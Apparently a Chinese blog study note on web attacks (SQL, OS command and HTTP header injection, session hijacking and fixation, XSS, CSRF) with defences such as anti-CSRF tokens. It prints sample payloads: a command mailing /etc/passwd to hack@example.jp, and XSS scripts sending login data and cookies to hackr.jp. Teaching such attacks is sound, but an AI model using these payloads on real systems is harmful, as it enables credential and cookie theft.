针对Web的攻击技术
- 主动攻击
- SQL注入攻击
- OS命令注入攻击
- 会话劫持
- 被动攻击
- XSS攻击
- CSRF攻击
- HTTP首部注入攻击
- 会话固定攻击
一、主动攻击
1.SQL注入攻击(案例)
- 什么是SQL?
SQL是用来操作关系型数据库管理系统的数据库语言,可进行操作数据或定义数据等。 - 什么是SQL注入?
SQL注入是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入非法SQL语句。 - SQL案例:
- 什么是SQL?
SELECT * FROM bookTb1 WHERE author = '作者'--' and flag = 1
SQL语句中的--之后全部视为注释,即and flag = 1就会被忽略。
2.OS命令注入攻击
- 什么是OS命令注入攻击?
OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的。 - 如何攻击?
可以从Web应用中通过Shell来调用操作系统命令。如果调用的Shell时存在疏漏,就可以执行插入的非法OS命令。通过OS注入攻击可执行OS上安装的各种程序。 - 示例:
- 什么是OS命令注入攻击?
|/usr /sbin /sendmail ; cat /etc / passwd | mail hack@example.jp
3.会话劫持(Session Hijack)
会话劫持是指攻击者通过某种手段(例如:XSS获取对方的Cookie得到ID)拿到了用户的会话ID,并非法使用此ID伪装成用户,达到攻击的目的。
- 获取会话ID的途径
- 通过非正规的生成方法推测会话ID;
- 通过窃听或XSS攻击盗取会话ID;
- 通过会话固定攻击(Session Fixation)强行获取会话ID。
二、被动攻击
1.XSS攻击原理
XSS是什么
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。XSS是攻击者利用鱼线设置的陷阱触发的被动攻击。例如:动态创建的HTML部分有可能隐藏着安全漏洞。
- 影响:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
- 避免方法:
- 所有用户输入的地方都不安全。
- 所有展示用户输入的地方都不安全。
- js里面不要用eval。
- 尽量少的使用innerHTML,使用innerText。
- 攻击案列:
- 在表单中设下圈套
http://example.jp/login?ID="><script>var+f=document=>
.getElementById('login');+f.action="http://hackr.jp/pwget";+f.method=>
"get";</script><span+s="
浏览器打开URI后,直观上没有发生任何变化,但设置好的脚本偷偷开始运行了,当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取。
2.对用户Cookie的窃取攻击
恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie。
<script src = http://hackr.jp/xss.js></script>
该脚本内指定的http://hackr.jp/xss.js文件,即下面这段采用JS编写的代码
var content = escape(document.cookie)
document.write("<img src = http://hackr.jp/?")
document.write(content)
document.write(">")
2.CSRF攻击原理
聊聊CSRF
跨站点请求伪造(CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
- 跨站点请求伪造造成的影响:
- 利用已通过认证的用户权限更新设定信息等。
- 利用已通过认证的用户权限购买商品。
- 利用已通过认证的用户权限在留言板上发表言论。
- anti-csrf-token的方案
- 服务端在收到路由请求时,生成一个随机数,在渲染请求页面时把随机数埋入页面(一般埋入 form 表单内,<input type="hidden" name="_csrf_token" value="xxxx">)
- 服务端设置setCookie,把该随机数作为cookie或者session种入用户浏览器
- 当用户发送 GET 或者 POST 请求时带上_csrf_token参数(对于 Form 表单直接提交即可,因为会自动把当前表单内所有的 input 提交给后台,包括_csrf_token)
- 后台在接受到请求后解析请求的cookie获取_csrf_token的值,然后和用户请求提交的_csrf_token做个比较,如果相等表示请求是合法的。
- 需要注意的点:
- Token 保存在 Session 中。假如 Token 保存在 Cookie 中,用户浏览器开了很多页面。在一些页面 Token 被使用消耗掉后新的Token 会被重新种入,但那些老的 Tab 页面对应的 HTML 里还是老 Token。这会让用户觉得为啥几分钟前打开的页面不能正常提交?
- 尽量少用 GET。假如攻击者在我们的网站上传了一张图片,用户在加载图片的时候实际上是向攻击者的服务器发送了请求,这个请求会带有referer表示当前图片所在的页面的 url。 而如果使用 GET 方式接口的话这个 URL 就形如:
https://xxxx.com/gift?giftId=aabbcc&_csrf_token=xxxxx
,那相当于攻击者就获取了_csrf_token,短时间内可以使用这个 token 来操作其他 GET 接口。
3.HTTP首部注入攻击
- 什么是HTTP首部注入攻击?
HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部虎皮主体的一种攻击。 - 什么是HTTP响应截断攻击?
向首部主体内添加内容的攻击称为HTTP响应截断攻击。 - HTTP首部注入攻击的影响:
- 设置任何Cookie信息。
- 重定向至任意的URL。
- 显示任意的主体(HTTP响应截断攻击)。
4.会话固定攻击
会话固定攻击强制用户使用攻击者指定的会话ID。
- 会话固定攻击案例:
- 攻击者登录页面
- 服务器发向攻击者发布一个会话ID(http://example.com/SID=f5d1234567),该会话ID(未认证)状态。
- 将2中的URL作为陷阱,诱导用户前去认证。
- 用户认证后,会话ID(用户已认证)状态。
- 4之后再用2中的URL访问。
针对Web的攻击技术的更多相关文章
- 《图解HTTP》阅读笔记--第十一章针对web的攻击技术
第十一章.针对WEB的攻击技术 ----<图解HTTP>阅读笔记攻击目标---Web简单的HTTP协议本身并不存在安全性 问题,协议本身并不会成为被攻击的对象,应用HTTP的服务器和客户端 ...
- 《图解HTTP》 第11章 web的攻击技术
11.1 针对Web的攻击技术 简单的HTTP协议本身并不存在安全性问题,所以协议本身几乎不会成为攻击的对象. 11.1.1 HTTP不具备必要的安全功能 11.1.2 在客户端即可篡改请求 在HTT ...
- web的攻击技术
简单的http协议本身并不存在安全性问题,因此技术本身几乎不会成为攻击的对象,应用http协议的服务器和客户端,以及运行在服务器端web应用等资源才是攻击目标,那么怎么攻击,来源于哪里呢 web应用攻 ...
- 基于http的追加协议、构建web内容的技术、web的攻击技术(9,10,11)
第九章 基于http的追加协议 用来提升http的瓶颈,比如Ajax技术,spdy等 第十章 构建web内容的技术 html.css.js等 第十一章 web的攻击技术 比如sql注入攻击.xss等.
- 《图解Http》 10,11章:构建Web的技术, Web的攻击技术
10.2动态HTML 通过调用客户端脚本语言js,实现对web页面的动态改造.利用DOM文档对象模型,指定想发生变化的元素. 10.22 更容易控制的DOM 使用DOM可以将HTML内的元素当作对象操 ...
- Web的攻击技术笔记
HTTP不具备必要的安全功能,就是一个通用的单纯协议机制,比如远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及回话管理等功能,HTTP协议则没有.另外在架设SSH服务方面,任何人都可以轻易 ...
- Web攻击技术
Web攻击技术 1.针对Web的攻击技术 1.1.在客户端即可篡改请求 在Web应用中,从浏览器那接收到的Http的全部内容,都可以在客户端自由地变更.篡改,所以Web应用可能会接收到与预期数据不相同 ...
- HTTP通信安全和Web攻击技术
一.HTTPS,确保Web安全 在HTTP协议中可能存在信息窃听或身份伪装等安全问题,HTTP的不足: 通信使用明文(不加密),内容可能会被窃听 不验证通信方的身份,因此有可能遭遇伪装 无法证明报文 ...
- 使用 Rational AppScan 保证 Web 应用的安全性,第 2 部分: 使用 Rational AppScan 应对 Web 应用攻击
1 当前 Web 安全现状 互联网的发展历史也可以说是攻击与防护不断交织发展的过程.目前,全球因特网用户已达 13.5 亿,用户利用网络进行购物.银行转账支付和各种软件下载,企业用户更是依赖于互联网构 ...
随机推荐
- web常用服务架构
架构风格就是一种项目的设计模式.常见的架构风格有基于客户端与服务端的.基于组件模型的(EJB).分层架构(MVC).面向服务架构(SOA)等. 一.单体架构 单体架构也称为单体系统或单体应用,就是一种 ...
- jvm 命令使用调优 通过jstat、jmap对java程序进行性能调优
转载:http://blog.csdn.net/jerry024/article/details/8507589 转载: https://blog.csdn.net/zhaozheng7758/art ...
- SpringCloud-Eureka配置instanceId显示IP
eureka: client: serviceUrl: defaultZone: http://localhost:8761/eureka/ instance: preferIpAddress: tr ...
- 小D课堂 - 零基础入门SpringBoot2.X到实战_第6节 SpringBoot拦截器实战和 Servlet3.0自定义Filter、Listener_24、深入SpringBoot过滤器和Servlet配置过滤器
笔记 1.深入SpringBoot2.x过滤器Filter和使用Servlet3.0配置自定义Filter实战(核心知识) 简介:讲解SpringBoot里面Filter讲解和使用Servle ...
- PHP 对象继承
对象继承 继承已为大家所熟知的一个程序设计特性,PHP 的对象模型也使用了继承.继承将会影响到类与类,对象与对象之间的关系. 比如,当扩展一个类,子类就会继承父类所有公有的和受保护的方法.除非子类覆盖 ...
- idea 报错javax/xml/bind/DatatypeConverter
idea 报错javax/xml/bind/DatatypeConverter java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeCon ...
- android studio 运行按钮为灰色的解决办法之一
sync project with gradle files按钮(如下图)同步一下就好了 3.2的 3.3同步按钮变成了一只大象+箭头
- python中的修饰符@的作用
1.一层修饰符 1)简单版,编译即实现 在一个函数上面添加修饰符 @另一个函数名 的作用是将这个修饰符下面的函数作为该修饰符函数的参数传入,作用可以有比如你想要在函数前面添加记录时间的代码,这样每个函 ...
- 宣化上人: 大佛顶首楞严经四种清净明诲浅释(8-9)(转自学佛网:http://www.xuefo.net/nr/article23/230825.html)
大佛顶首楞严经四种清净明诲浅释(8) 唐天竺·沙门般剌密帝译 宣化上人主讲 一九八三年四月十七日晚讲于万佛圣城 各自谓己得上人法.詃惑无识.恐令失心.所过之处.其家耗散. 各自谓己:每一个都是自己称赞 ...
- springboot 整合 Froala Editor 3
springboot项目中使用 Froala Editor 3,参考官网文档:https://www.froala.com/wysiwyg-editor/docs/overview 下载文件后,引入c ...